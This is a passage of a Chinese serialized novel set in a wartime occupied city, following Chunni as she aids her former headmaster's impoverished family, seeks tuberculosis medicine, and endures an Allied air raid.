春妮只好去扮那个恶人,将毛二娃按倒在城隍神像前,逼他赌咒发誓,回去后立刻解散学习班,所有不能带的东西一律销毁,并严令众人,不得向任何人泄露这件事。 完了不放心,她塞给他一张丽景皇宫的舞票,让他找个机会送给川崎,探探情况再作应对。 倭国人从全面占领海城开始,就一直实行宵禁,连累这些声色场所也诸多限制。现在一张舞票,不止要钱,还要人面,要不就只能在舞厅开门前,提早两个钟头排队占位置。这一张票的价钱,抵毛二娃半个月的薪饷,价值不是特别高,是他能力范围内能送的东西。 解决完这桩麻烦事,两人重新上路。 城里三步一个哨卡,五步一个路岗,交通复杂。又在城隍庙耽搁半天,即使有毛二娃这身皮在,这一路也多花了不少时间。两人明明起了个大早,抵达目的地时,已经到了晌午。 春妮来前,桂香跟他们说过,这个叫红树村的村子住着好几百人。奇怪的是,两人开车从村头跑到村尾,村里连个人头都没冒出来,害他们想找个人打听都没地儿去。 在村口那会儿,她明明远远看到了几道炊烟,走得近了,反而天朗气清的,连缕烟丝儿都没冒出来。 毛二娃突然“哎哟”道:“我明白了,该不会是我穿的这身衣服,让他们以为是倭国人跑来闹事,躲起来了吧?” 春妮回头看他,为了出行方便,他今天穿的是一身倭国陆军军服,头上还盖着顶带屁帘的盖檐帽。 这几年,她办事常会遇到一些不方便的地方,有时会请毛二娃穿上这身衣裳跟她同行。一般人看见这身衣裳,至多跟城隍庙里那些人一样低头缩脸,赶紧避开,没见过他们人还在里许地开外,一村的人全跑个没影的情况。 如果真是像毛二娃说的那样……她心里噗噔急跳两下,感觉有些不妙。 没等春妮出声,毛二娃快手快脚,卸下她带的东西,最后将柿饼往她手上一塞,嗵嗵开着车子一溜烟去远了:“妹儿,我到村外头的林等你。” 毛二娃前脚走,青乎乎的油菜田里后脚蹿出个人:“鬼子走啦!” 这声之后,忽啦啦几十颗黑脑袋从田里冒出来,有人对着毛二娃离开的方向破口大骂:“狗攮的小鬼子,有本事你别走,待爷爷——” 那人目光定在春妮身上,剩下的半句话哽住了。 没等春妮凑上去问话,这些人像被蜂子蜇了似的,发一声喊,忽啦啦全跑回了屋,不一时,关门声此起彼落。 春妮逮住一个跑得最慢的老妇人,说了自己来方家探亲的事,请她帮忙指路。 老妇人颇有戒心,她眯眼盯着春妮脚下的包裹,盘问半天,见春妮说得出方家几口人的名字,指了个方向,言语吝惜:“那。” 春妮见她走动困难,主动搀住她一条胳膊:“我扶着您,您小心脚下。” 老年人腿脚不便,推了两推,没推动,也只好由她去了。 春妮耐心极好,心觉这里情况有异,即使这老妇人一路没给她好脸色,她仍是脸上带笑,软绵绵地问:“老阿嬷,你们刚刚怎么都跑到了田里躲起来?” 老阿嬷哼了一声:“跑远一点,躲狗东西喽。” 春妮只当没听出她话里有话,从毛二娃的牛皮纸包里摸出一块杮饼:“是不是发生了不好的事?” 老阿嬷眼睛粘在那块黄澄澄的柿饼上,声口和气了一些:“这不都是叫那些倭国人吓的?” 老人家走路慢,到春妮把人送回家时,红树村最近发生的事也已经打听得差不多。前些日子,倭人一队士兵将全村人召集起来,说村里有人窝藏反抗分子,要严加搜查,闹得鸡飞狗跳,最后什么没扫到,搜走了大量的粮食鸡鸭,还祸害了几个没藏好的姑娘。 倭人对付华国人,使用这种手段并不鲜见,但春妮一般听说的,都是在反抗比较激烈的地区。像海城这样的沦陷区,特别这里是海城近郊,他们需要维持稳定,不会做得这样露骨。即使乡间有零星反抗势力,多数是委派驻留在附近的伪军负责剿匪,不太可能亲自跑到这乡下地方受罪。 说句不好听的,守着海城那样的富贵窝,想发财,机会有的是,何必吃力不讨好,跑到这穷乡僻壤找事? 照老阿嬷的说法,倭国人将他们祸祸得不轻,临走前,把能搬的粮食全搬上了车,连根鸡毛都没给他们留下。今天村里有人看见大路上的边三轮,以为是那群倭国人又回来了,在他们进村之前,赶紧全躲了起来。 春妮没料到现在海城周边的形势也变得这样紧张,心里对方家的境况更加担忧。 方家毕竟祖上曾经阔过,败落时间也不久,他家的房子很好认,是村里为数不多的青砖房,有马头墙的那间就是。 春妮找到地方,打量了一下大门:上头漆的红漆斑斑驳驳,几乎看不出原来的样子。两张年画糊在大门两侧,也看不出画的是谁,显然并不是今年的画。 她舔了舔嘴唇,手指虚握成拳,刚敲了半下,大门吱哑一声,开了一条缝。 人人门户紧闭的村落里,方家的大门竟是没锁的。 第213章 213 师母 “您是……师母?师母您怎么变成这样了?” 方家这间明显很久没打理的院子前面是厅堂, 空荡荡的,只在正门对面的墙壁上供了个佛龛,连张八仙桌都没摆。春妮绕过厅堂, 在每间房子后都寻找过, 直到上了后院木楼的二层楼,才在二楼向南卧房的床上找到唯一一个有人的地方。 躺在床上,床上的妇人头上裹了层厚厚的纱布,瘦骨嶙峋,满头白发稀疏,老了何止十岁?她一时有些不敢认。 听见春妮的声音,她迟钝地转过脑袋, 眯眼瞅老半天,才“啊”地一声:“小春妮, 你怎么来了?” 听见方师母的称呼,春妮有一瞬间的恍惚:她刚到海城来学校工作时,因为是老师里最小的那一个,经常受到同事们的照顾。特别是校长和顾先生他们总是喜欢玩笑般叫她“小春妮”, 给她补课,请她吃好吃的, 给她开小灶。随着学校最初的那一代人离散在天涯,她一个人撑起学校的天地,她有多久没听人这么叫她了? 春妮鼻子有些发酸, 忙伸手去扶她。 方师母胳膊瘦得只剩骨头,干柴棒似的打着晃, 还在关心学校的事:“是不是办学校遇到什么困难了?你离我远点,师母得了会过人的病,别过给了你。” 春妮视线落在她手边的柴刀上, 这个时候,方师母的手指还不知觉地紧握在刀柄上。 她这几年,过的是什么日子…… “您别操这些心了,先好好歇着吧。”春妮见她实在抗拒自己的接近,顺从地站远了些。想想方家厨房比耗子洞还干净,必也是吃不饱的,从她带来的一堆东西里翻出块糕点:“我带了些米来,您等会儿,我下去给您熬碗粥。” 方师母连连推拒:“不,不要,快走。”她着急得两腮泛起嫣红,忽然从腋下出帕子,捂住嘴剧烈咳嗽起来。 春妮听着这一声声揪心扯肺的干咳,心中猛地沉下去,她几乎不敢再问。当年,秦惠君死前,她就是这么咳的…… 方师母咳过那一阵,整个人都软下来,面上还带着淡淡的 笑:“小春妮,你不要忙啦。粮食多金贵,别耗在我身上。我这身子是不成了的,吃了也是白吃,你不如——” “娘,我们回来了。”楼下有人进门。 “是桂生和桂玉回来了。”方师母声音抬高:“你们两个都快上来,看看是谁来了。” 两个男孩在楼下就听见了春妮的声音,三两步跑上楼进了屋,露出喜悦的笑容:“春妮姐,你是怎么找过来的?” 春妮向他们身后望去,不见再有人上楼,不由问道:“桂宝呢?我怎么没看到他?” 两个孩子的神色齐齐黯下去。方校长二儿子桂生轻声道:“桂宝给别人当儿子去了。” 春妮轻轻吐气,幸好不是她想的最坏的情况。 方师母眼圈发红:“都是我不好,孩子回到乡下总生病,实在是养不活了,没办法,只能送给个好人家。这事我还不知道怎么跟他爹交代——” 气氛实在太差,春妮强颜欢笑:“我好不容易来一趟,你们别这样。来,桂玉,看看春妮姐这次给你们带了什么?” 发完东西,春妮让桂玉留下照顾方师母,以做饭的名义拉着桂生到了厨房,在她的一再盘问下,桂生总算吐露了实话。 要是她再来晚一步,这个家就真的撑不住了。 桂宝当年离开海城时是带着病走的,回到乡下后做下了病根,三天两头就要病上一场。要给孩子治病,春妮塞给方师母的钱,不到半年就花完了。 别看师母性子柔弱,心性却要强。当年他们怎么困难,师母看在眼里。她不愿意给自己还失业在家的闺女和亲友添麻烦,信里只说好话,后来打听到一户没孩子的好人家,把桂宝送去给他们当了儿子。 方家这时还剩下八亩田,其中水田四亩,旱田三亩,还有一亩沙地。方师母原本打算的,是他们母子三个,守着家里几亩田,勤快些耕作也够勉强糊口,不想第一年就出了问题。 “……三叔公到家里说,村上每年交税,都是他家二小子给我们交的,今年得让我们自己去交。可咱们家的田,以前是交给他们种的。我们回村的时候,秋收过了都小半月,麦子早让他们收进仓里去了……冬天的时候,治安团来了人,说要修个什么工事,叫每家出个人去干活,妈听说在那干活要挨打,不想叫我跟三弟去,治安团要我们交钱雇人。我不想叫妈出钱,自己偷偷报名去了。姐你看——”他掀起后背的衣襟,腰眼上有个青疤:“有一回一个倭国人从后边踹的,我没防备,给踹成了这样。” 春妮摸上去,快十四岁的孩子了,瘦得蝴蝶骨支出来,形成两个尖尖的角。孤儿寡母在村里叫人欺负,他大哥不在,母亲病着,他就是家里的长子,承担的比其他人都多。 “还疼不?”她轻轻重重地按捏那块疤。 他摇了摇头,不知春妮按到了什么地方,忽然“嗯”地一声吐出个浊音。 这是落下了病根。 “那怎么厨房里也没口吃的?这些日子你们都怎么过来的啊?” “前几天都叫倭国人抢走了,我娘想去拦,他们还推了我娘一把,她头上的伤就是这么来的。”说到这,桂生眼睛里露出仇恨的光。 “学习呢?还在家学不?” “学了一些。” “师母该早点去封信给我的,自己都过得那么困难,还往城里送什么东西。我再怎么难,总也能想想办法,不至于拖到这一步。”她掏出几块钱交代他:“你去村口,毛二哥在那等着我。你们俩把附近的好大夫请一个来,再给你娘看看,也给你自己个儿看看。你娘她得的真是痨病?” 桂生却不接那钱:“大夫们都请遍了,都知道我娘得的是痨病,看见是我就躲,不会来的。” 春妮:“……那你多给些钱,给你自己也看看,腰伤不能不当回事。快去,快去啊。” 灶上熬的米粥开花的时候,桂生两手空空地回来了:“大夫们都不肯来。” 春妮让他盛粥,心里寻思,这个时候肺结核的特效药是链霉素,在去年被美国人发明了出来。这种紧俏药必然会被倭国人把持,不知道海城的地下渠道能不能弄到。在这之前,师母得好好养着,不能劳神。 结核病是个喜欢穷人的病,需要多吃些高蛋白高热量的食物补充营养。城里肉食也不好弄,乡下人还能养鸡养鸭,城里人实行配给制,吃口白米饭都难,反而没有村上方便,吃得饱。她今天只带来些米面,唯一的荤腥就只有那几罐金枪鱼罐头了。 她将一整罐罐头都倒进锅里,和水煮开,再加上桂生兄弟两个采摘回来的野菜,除了给师母的粥,又做了点红薯杂粮饭。罐头的油汁全泡在米饭当中,咸香嫩软,总算令母子三个久违地吃了顿饱饭,但事前春妮带来的一袋子大米做完这顿饭便消去了三分之一。 她来前实在没想到,方家日子会困难成这样。带来的大多是如糖,罐头,糕饼还有棉布这些精贵好放但不管吃饱的东西,杂粮和红薯还是她到了村子后看见情况不对,从空间里又拿出来的一点, 饭后,桂生两个主动收拾碗筷,春妮隔着窗户跟方师母说话。 “师母,这回让我把桂生带走吧。” “那怎么行,这不是给你添麻烦?” “这怎么叫添麻烦呢?”春妮就知道她不会轻易同意:“桂生年纪也大了,在家里天天没个事做,不如我带他去海城碰碰机会,哪怕是当个学徒,总比在村里天天瞎跑浪费时间的好。” “这……你让我想想。” 春妮知道,如果她说她养着桂生,师母肯定不会同意。但若说带他进城做活,那就不一样了。这个年代的学徒没有工钱,但师父家管饭,多少能解决一张嘴。再说她目前没什么私产,挣的钱都投在了学校里,挣多少花多少,最多够养活自己,时常还要蹭常文远的光。桂生这么大个男孩,她必不可能真让他在家里吃白饭。 “我不去,我还要伺候妈,我不能把你跟桂玉丢在这。”桂生在楼下听见两人的对话,跑出来急了。 “大人说话,有你什么事,你一个小娃崽在家能顶什么事。”桂生的话反而促成了方师母决定:“桂生这个年纪,哪里肯收他当徒弟?” “剃头匠,药馆,照相馆,木匠……哦对,师母你知道的,我们学校就是教木匠的,怎么说也有些门路。现在学校也安定了些,我找哪个学生收留他住下,就算一时做不了学徒,我现在还跟人做生意,带着他做,给他一口饭吃,还是没问题的。再找个好师父给他学艺,说不定年节师父给他发点好吃的,还能回来孝敬你。再说他离得近些,方便去看方校长,也好照应照应不是?就怕师母舍不得。” 春妮一席话完全打消了方师母的顾虑,她信以为真,整个人立刻容光焕发起来:“要是这样,我有什么舍不得的?桂生你只管领了去跟着你,你只当他是你亲弟弟,该叫他做什么就做什么,他要不听话,该打打该骂骂。你听见了没有桂生?” ………… 病人不能久坐,陪师母说了会儿话,商量好哥俩的去向,师母就有些困了。 春妮让她好好休息,去楼下准备带桂生离开。 兄弟两人连续经历大变,早就不再像小时候那样调皮。春妮的话,他们也听在心里,知道这是最好的安排。只是骤然面临分别,都有些受不了。春妮给他们留出收拾行李和道别的时间,转身去了村口等待。 没耽搁太长时间,桂生拎着包袱出了村。在他身后,方家老三桂玉紧紧跟着:“哥,你什么时候再回来?” 又问春妮:“春妮姐,你什么时候再来看我?” 春妮摸了摸他的头,转身上车:“很快的。你妈的病耽误不得,我回城给她找药去,你在家里好好伺候她,我带来的东西都别省着,要让她吃好了才好养病。还有,我没来你别跟人打架,别叫你妈操心,知道不?” 不是万不得以,她也不想把桂玉这个才满十岁的小家伙独个儿留在村里。但师母身边离不了人,只能先带走桂生这个最能吃的小子。 别看她在师母面前胸有成竹,其实桂生今晚住哪,她都还没谱。现在的海城,包括大街上都塞满了人。她上哪去给他找地方住,这是个愁人的问题。 第214章 214 行当 回家之前, 春妮领着桂生先去了一趟桂香家。桂香家在华界,靠近老城厢,回英租界春妮的住处之前, 正好经过那边。 方师母生病, 桂生进城都是大事,要跟她这个做长姐的知会一声。 春妮领着桂生穿过头顶上色彩鲜艳的衣服尿片,在两人宽窄的毛片路上走了百来米,正好碰见从老虎灶归来的桂香:“桂生,你怎么进城来了?” 她新生的孩子用细棉布裹在前襟,露出来的皮肤红通通的。应是刚洗过澡,桂香一手用毛巾绞头发, 另一手提着一篮子的脏衣裳,脸色忽变:“是不是家里出了什么事?” “咱们先回去再说吧。” 桂香家住在里弄深处一排平房中, 这处房子是前朝老宅,一排十来间,外头粉着红墙,分上下两层。下边一层是个双开门, 推开门是间一眼望得到头的一居室。以前这里是个杂货铺,但现在么, 饭都吃不起了,谁还要买杂货。现在里边几条桌椅,一只吊筒拴在房梁上, 起码几十个人围在桌椅四周,仰头挥拳吆喝:“仙品——”“吉品——”“中!中!” 桂香公公站在圈椅上, 笑嘻嘻地用钩子取下吊筒。 几罐牙粉毛巾衣架等没卖完的杂货被堆放在门背后。桂香的婆婆背对他们拿铜吊炊水,听见有人过来,往后瞥了一眼, 鼻子里轻哼一声,喉头咕哝出一句话,转回头去。 春妮耳朵尖,这句话叫她听得分明:“又来两个穷酸。” 除了孩子满月来过一回,春妮同桂香一直通过他丈夫传话,没料到他们家有这样的变化。 “我家新开的花会筒。”桂香有些窘迫地说:“地方窄,你们上楼去坐吧。” 海城最近突然流行起一种叫“捺花会”的赌博,具体就是写一张花名或人名放在吊筒中旋转,出几毛钱猜花名,猜中的人拿走博金,众人捺花会的地点便叫花会筒。 春妮看了眼桂生,对方正仰头,好奇地看那重新开始旋转的吊筒。 上楼也堆了些脸盆瓢勺等杂物,几乎没有下脚的地方。大门旁边,卷着一卷铺盖,那是桂香大弟弟桂丰的铺位。桂香两口子在房中间拉了条帘子,隔开房里唯一的一张床和两个柜子。房里的其他空间都被几乎快到顶的纸箱纸盒塞满,桂香在打零工,她是知道的。 桂香的公公婆婆住在隔壁,他们家里还有个没出嫁的小姑子和小叔一家。桂香一家因为生了孩子,能分到楼上这个单间,叫隔壁的妯娌羡慕了很长时间。 三个人局促地在床上坐下,桂香解开棉布,打算将孩子放到床边的婴儿床上。大约是见到熟悉的亲人,桂生抽了抽鼻子:“大姐,妈她——” “哇!哇!”孩子突然蹬腿大哭,同时一股臭气在房间里弥漫开来。 “侬怎地做事,连个小毛头都哄不清白?”楼下鼎沸的人声中,桂香婆婆的声音又尖又细,针似地戳得桂香身子一颤。 “对不住,这里太乱了。”桂香手忙脚乱,给孩子擦完屁股又换尿片,忙活半天,几人再坐下来接着之前的话题:“刚刚我们说什么?哦对,桂生,妈,你说妈怎么了?” 桂生抿了抿唇,低下头去:“妈冬天的时候生了场病,怕过给外甥就没来。” 桂香松了口气,笑:“吓得我,我以为妈出了什么大事,没来就没来吧。现在路上不安全,妈躲在乡下也好。她现在怎么样?病好了没有?” “她——” “哎,老大媳妇。天光都黑了,不做饭吃,要饿死人的?”桂香的婆婆又在楼下叫。 “就来,就来。”桂香慌乱地应了声,交代桂生:“正好你来了,帮我看着你外甥,我去炒点菜,一会儿我们一起吃饭。” “不用了,你先忙你的,我们还有事。”春妮拦住她:“就是跟你说一声,桂生这次进城来就不走了,等你有空,我们再聊。” “那他住哪……” “死人啦侬,这半天不吭气!” “……” 从桂香家弄堂出来,春妮跟桂生说话:“你姐她婆婆以前不这样。家里经济紧张,生意做不了,又添了吃饭的嘴,人才变得有些难说话。” 她心里叹息,方家人都继承了方校长的骨气,同在一个城市,桂香姐日子过得这样窘迫,也没向她开过口。 都是穷闹的。想起他们告辞离开时,桂香背着婆婆在兜里掏了半天,才掏出五毛钱塞给桂生,两个人什么话都说不出来了。 看来她照顾桂丰已经很勉强,出不了余力再照应娘家。以后有机会,还得给桂香找一份工作,省得天天在家看婆婆脸色。 在城里兜个圈子,找到的人家都有这样那样的困难,春妮只好将桂生先带回到了小别墅她和常文远的住处, 常文远倒没说什么,还很热心地将桂生安排住在楼下的客厅。反而是春妮悬着心,凭他们现在做的事,房子里不好住进外人,最好还是尽快给桂生另外找住处。 这些暂时可以往后捎捎,第一件大事肯定是给师母找药。 然而接下来的几天,春妮跑遍了药房医院,黑市,赌场,当铺……她所有的渠道,甚至还托常文远去问了近藤,没人听说过链霉素。唯一一个知道消息的大夫,还是通过友人的电报得知的。 战事阻隔了所有的物资交流。 师母的病……她转头往红树村送了两箱金枪鱼罐头和一些香肠鸡蛋,现在只能好好养着,等。等战争打完,等倭国人滚蛋,等再次恢复通航,恢复东西方物资流通。 桂生在小别墅呆了两天,春妮一直顾不上他,他独自又去了一趟她姐姐家,带回来一个桂丰。 桂丰一直住在姐夫家,原先在江边码头的一间茶馆里做店伙。后来倭国人说要备战,关掉所有的码头,连着船东船工全没了饭吃,店开不下去。因为写得一手好字,倭国人洋蜡厂招过桂丰,他不想给倭国人天天鞠躬,没去,只好回姐姐家东一顿西一顿地给人打短工。因租房价钱越来越不稳定,许多房东不肯收现钱,要粮食布匹抵价,便一直住在姐姐家。桂香婆婆总怀疑这是大儿媳妇想贴补弟弟的借口,这也是桂香在婆家抬不起头的原因。 桂丰说:“我回去伺候妈,正好我攒了点钱,赶上春种。收了稻谷之后,再还钱给春妮姐。家里就桂玉一个孩子,再赶上倭国人下乡,什么事都顶不住,还不如也让他到海城来,进学校正经上几天学。我是老大,应该我在家里守着。”他说完这些马上就要走:“我跟姐夫一会儿去鸭厂路买鸡,我取完鸡就回乡去了。” 苦难是最好的大学【注】。一展眼,桂丰也长大了。 春妮想给他塞点路费,他坚决推拒:“本来桂生就够麻烦姐姐了,我不能再要钱,再说我姐也给了些,不缺这个。”最后好说歹说,答应春妮送了他一程。最近海城有数群流氓专门乘人不注意,将人拖到里弄剥衣剥裤抢劫,桂丰身材瘦小,有一回险些叫他们得手,再之后就不单独出门了。 现在汽油贵,黑狱那边查得严,毛二娃也不总有时间接这个送那个。桂丰便只带了两只鸡,数十个鸡蛋,并他姐姐给的一袋小米,坐牛车回的家。 春妮担心过关卡时他的鸡保不住,桂丰不知从哪摸出两条细绳扎住鸡嘴鸡翅膀,最后拉开夹衫的衣襟,将鸡往肋下一掖:“这就看不出来了吧?” 好吧,还真看不出来。 乡 下的事暂时不用再操心,春妮腾出空来,带着桂生跑了好几家收徒工的手艺行当。有讲评书的,有学厨的,有打铁的,有裁衣裳的,还有做纸扎冥器的。行当都是好行当,可要么嫌桂生年纪大了,不好调教,要么嫌他身体单薄,不经锤打。还有的说学艺要收学艺钱,这下是桂生自己不干了。他在春妮这本身就是白吃白住,万不肯再让她倒搭钱进去安置他。 “这也是没法子,海城人太多了。人人都想学吃饭的手艺,拜师就不好拜了。”从最后一家出来,春妮安慰桂生。 “要不……我还是回去吧?”桂生在家里闲了几天,着实很着急了。 “这才哪到哪,海城百行百业,能做的行当多了。你着什么急,等着我给你安排就是了。”春妮合计着今天还能跑几家,忽然天上传来一声尖锐的,类似于竹哨的声音,随后是“嗡嗡嗡”的轰鸣声。 “春妮姐,你看天上!”桂生抬头,声音极为惊骇。 春妮注意着马路上来往的车辆,心不在焉地答:“我知道,那是倭国人飞机的声音,他们在这建的有机场。你听习惯——” “pang!” 震耳欲聋的爆炸声中,防空警报发出了尖叫:“空袭!是空袭!” 马路的另一头冒出了滚滚浓烟,不知道是什么被击中了。 空袭?倭国人空袭了海城?他们疯了?难道是政府军打回来了? 春妮脑子乱哄哄的,被慌乱的人流裹携着,不由得狂奔起来。 第215章 215 安排 彻底成为沦陷区之后, 海城已经好几年没再遇到过以城市为规模,成建制的袭击。空袭的炸弹在城市上空爆响时,包括春妮在内的很多人第一时间都懵住了。 因为路上发生的意外, 等飞机飞离海城上方之后, 春妮立刻改变行程,拉着桂生回了家。但电车停运,他们很是经历了一番艰辛,才顺利抵达小别墅。 小别墅里,常文远坐在沙发上在翻看报纸,先一步回了家。 “全城戒严,所有商铺都被强制关门, 饭店没法营业。”他站起来,伸了个懒腰:“正好我们晚上都吃顿好的, 好好歇歇。” 春妮已经看到厨房里堆起来的食材,有处置完的鲜虾,有已经是半成品的鱼贝,都是没办法搁过夜的鲜货。 不知怎地, 春妮紧张了一路的心情忽然就变了,不由捋起袖子笑道:“那还等什么, 都来帮忙,咱们今晚有大餐吃喽。咦?停电了?” “嗯,到家没多久就停了, 遇到了空袭,今晚要停电排查吧?蜡烛在我房间里, 我上去拿。” 天色已经很暗了,好在客厅各处很快点起了烛火。 在烛火的跳跃中,鲜贝冬瓜汤、清蒸海鲈鱼、芙蓉虾……一道道海鲜大菜端上桌, 香气一点点填满三个人今夜的凄惶。常文远连他珍藏的红酒都拿了出来:“来,为了我们今天的平安,干一杯!” 桂生拘束地端着酒杯,还有点兴奋:“我也能喝吗?” 常文远意味深长的说:“今天说不定会是个好日子,你一定要干了这杯。” 说完,灯光大亮,来电了。 “那我就干了?” 春妮趁桂生喝酒,快速靠近常文远:“你收着点。” 常文远笑眯眯的回望她,盯着桂生一杯酒喝完,又站了起来:“为了我们这顿惊喜的大餐,再来一杯!” “这一杯,必须感谢我们美丽能干的厨师顾小姐,来吧,再喝一杯!” “这一杯……” “……” 春妮推了推桂生,这傻孩子咚的一声,脑袋磕在了餐桌上。 好大的一声,听得春妮都替他疼。 然而细细的鼾声从他口中呼出,这孩子,醉得实在太厉害了。 她忍不住瞪了常文远一眼:“还不赶紧扶他躺下?看你干的好事,他才多大!要是这孩子醉出个好歹,我唯你是问。” 常文远嘿嘿笑:“我也没想到,他量这么浅,下次我会注意的。” “你还想有下次?” 两人小声说着话,将醉成一滩烂泥的桂生安置好,对视一眼,默契地放轻脚步,一同登上木制楼梯。 春妮走到自己房门前,常文远紧跟她在身后,见她回望自己,耸耸肩:“都做到这一步了,你不会以为我还会乖乖回房吧?” 春妮知道他忙活这一晚上是为了什么,此时也不忍心再戏耍他,摇摇头:“进来吧,记得关好门。” 说着,她走到衣柜前打开,拨开层层叠叠的衣服,常文远还没看清她的操作,就见她从暗格中抱出了一个木匣子。 这台被伪装成木头匣子的电台还是夏风萍送给她的,其实一直被她好好放在空间中,这个暗格只不过是障眼法。不过,倭国人有侦听电讯的手段,为了保证工作的安全,她反而不敢再像以前一样随时拿出来使用。除非必要,两人很少像现在这样聚在一起听电台。 春妮给收音机插上电源,转动天线收集信号的时候,她往窗外看了一眼:今天晚上,该有多少人像他们一样睡不着,在想办法从各个隐秘的渠道弄清真相啊? 滋溜滋溜的电流声中,字正腔圆的女中音为他们带来了想要的消息:“……倭人不听劝解,试图顽强抵抗,盟军决定对其惩戒警告,美军于今天下午对海城,津城,南城等地同时实施了空袭。本台在此正告倭国侵略分子,不要再做无谓的抵抗,你们已经被……” 女播音员欢欣鼓舞,坐在电台前的两个人却没有一个人笑得出来。 “今天起火的地方是倭国人的哪个军事基地?” “那个方向,像是大世界。” 常文远突然冷笑一声:“我就知道。所以美国人炸了我们的闹市区和游乐场所,有什么值得开心的?” “至少说明,美国人已经有了跟倭国人决战的能力和决心?”春妮搜肠刮肚,想到了一个原因。 常文远站起来,索然地说:“早点睡吧,明天……” 明天怎么样,他到底没说出来。 ………… 这一晚上,街道上车辆鸣笛声断断续续的响了一整晚。 不知道有多少海城人缩在薄薄的墙板后面,辗转反侧。 春妮也没睡好,到半夜那会儿,桂生果然吐了。她照顾了他一整夜,早上去卫生间洗漱时,镜子里映出来的那张脸都是泛着菜色的。 常文远用昨晚的剩菜给他们做了碗海鲜面,嘱咐两人:“你们在家好好休息,今天都不要出去了,今天倭国人必然还有后招,免得撞到枪口上。” “那你呢?” “我出门探听一下消息,顺便看看今天的《真相报》出来了没有。” 桂生听不懂他们的话,春妮给他倒了一杯热茶,解释说:“你张哥是怕今天出去会遇到倭国人的空袭演习,我们在家避个风头也好。” 常文远从回到海城工作开始,就一直用的化名,除了他爹方校长和春妮这两个以前认识的人,包括桂生在内的其他人都不知道他的真实身份。 桂生心里着急,问道:“那我们避着点人不成吗?不是说还有好多家要跑?” 春妮按着他躺下:“哪有那么简单。倭国人的防空演习不分时间场合,倘若你那时在街上走,往哪避去?动作稍慢一些,或是他们看你不顺眼了,这都是有可能让他们抓上车,带到旁处去教训的。你好好歇着,别瞎操心,” 桂生哪歇得住,躺了没一会儿,又问:“《真相报》那又是什么?” “是开在法租界的一家报社,传说背后是俄国人出的钱。整个海城的报业,也只有这家报纸有些真东西了。”她解释道:“昨天的事有损倭国人颜面,世面上的报纸又全都由他们控制,这事必然没法上报纸。想知道昨天到底发生了什么事,恐怕只有《真相报》的报道靠谱一些。” 法租界名义上还在法国 人手中,相对整个海城,法租界的企业算是稍微有一点自由度。 但这自由度也有限,常文远出门没到一个钟头就回来了。 春妮见他两手空空,便问:“怎么《真相报》今天没有发行吗?” 常文远像是跌了一跤,身上沾满了泥灰,站在门厅拍打:“我没进去看。到地方之后,我站在外边看见好多买报的人出来后,后边跟的都有人,便没有买。不过街上人都高兴疯了,不知他们哪听来的消息,说美国人打了过来,倭国人马上就顶不住,海城要解放了。” “你身上的灰是怎么回事?有没伤到哪?” “昨天空袭,跑马场旁边有一处民居起了火。我骑车经过那边,看到救火会的人在跟人打架,一个人冲上马路撞到我车上,遭了些无妄之灾。” “怎么那些人会跟救火会打起来?”桂生这时也醒了,好奇道:“难道是有人想赖救火会的帐?” 春妮跟常文远对视一眼,却同时摇头笑了起来。 “现在谁敢赖救火会的帐?不怕哪天被人悄悄放把火烧了老巢?” 海城救火会是民间组织,最早由租界方发起组建,以前有租界约束还算老实。现在租界换了东家,倭国人全权交给伪政府管理,伪政府里那都是些什么人?无事都要生非,再给他们点权力,不上天才是稀奇。 桂生大吃一惊:“难道说那火是救火会放的?” “那就难说了,不救火别人凭什么给你救火费?” “等着看吧,以后乱七八糟的事会更多的。” 两个久居海城的大人都这么判断……桂生沮丧了一会儿,忽然道:“要不下午我去趟法租界,把报纸买回来吧?” 春妮皱眉:“你不吐了?” 常文远却问他:“怎么这时候想到要去买报纸?” 桂生挠了挠头:“你们不都说城里怕是要更乱了吗?消息要是不灵通,乱起来咱们都不知道怎么回事,我觉得这肯定不行。” 常文远却笑了:“你就算通过报纸知道了怎么回事,又能怎么办?美国人空袭又不会提前通知你。” 桂生涨红了脸:“那总不能干坐着啥都不知道吧。春妮姐,张哥,你们就让我去吧。” “可你也听我说过,那边有倭国人暗探。你就不怕带尾巴回来?这可不是件好玩的事。” 常文远语气的松动,桂生哪能听不出来?一个激动,他拍起胸脯保证道:“你们放心吧,我绝对不会让人跟过来。上回倭国人突然去我们村子里扫荡,我还帮着我们邻居家妹子藏到了稻草堆里,倭国人从旁边经过三四回都没发现,我真的,我可能躲了。” 说完,他摒住呼吸,紧张地盯住两人不放。 常文远同他对视着,没有马上对答。 春妮看着他们俩,心内若有所觉,没有打断两人之间互相的审视。 “那你要是带了人回来——” “我任打任罚,绝没有二话!” “好!”常文远终于点头,从兜里掏出一沓厚厚的钱币:“这些法币买报纸应该是够了,什么时候去,你自己决定。我可以提前告诉你,如果你没有甩掉跟踪,我到时候直接把你送回乡下,你以后都不用回来了。” 桂生激动得不得了,当即要动身,让常文远叫住:“别急,我先教你几招再去不迟。” ………… 桂生离开后,春妮有些不安地问常文远:“你就这么让他去了?不怕万一?” 常文远摸出烟盒,抽出一支烟放在鼻间轻嗅:“这孩子以后要跟我们住,不能让他什么都不知道。那些跟踪的人最多是几个地痞,如果他连这些人都摆不平,趁早跟我们分开最好。” “我这些天也在找地方让他搬出去,你再给我点时间。” “世道这么乱,他一个十来岁的孩子,抢劫的,诱赌的,抽大烟的……但凡被缠上一个,他这辈子就毁了,还是放到眼下看着的好,我们这里正好也缺人。放心吧,我都安排好了。” 第216章 216 救火 又是风平浪静的一天。 常文远折下报纸, 扔到茶几上,疲惫地揉了揉眉心。 “张哥,是不是有什么不好的消息?”桂生看见他的表情, 不由紧张。 “怎么可能有不好的消息?哪怕被扔了炸弹, 倭国人治下的海城也必然是安居乐业,欣欣向荣的。”他扬声向院子里喊道:“春妮,明天邮差过来时,你若在家,就跟他说,以后家里的这几份倭国报纸都取消订阅,谁要看这些歌功颂德的鬼话。” “知道了。你要觉得没什么用, 把那些旧报纸都找出来给我引火,今天的柴禾太湿了, 半天烧不燃。”春妮被浓烟呛得直咳嗽。 “怎么还没找到卖煤核的?”常文远先收了客厅报纸架里的报纸给她抱出来。 “卖煤核的倭国人商店不到处都有?不是价钱太贵么。我琢磨着家里还有些柴,先对付两天,再到华界看看有没有更便宜些的。想不到太长时间不用柴,这些柴禾堆在屋檐下, 都堆得发霉了。” 他们住的别墅都是通了煤气的,但自从前两天美国人空袭过一回之后, 倭国人先是限电,再限水,后来煤气也给限停了。实在没地方烧火做饭, 春妮只有把她在吉拉太太那租房时燉水用的小风炉子翻出来顶上,打算将就两天。 今天才是第一次引火, 弄得浓烟滚滚,像点燃了房子似的。 这个念头刚冒出来,春妮脸色就是一变:“糟了!” “怎么?” 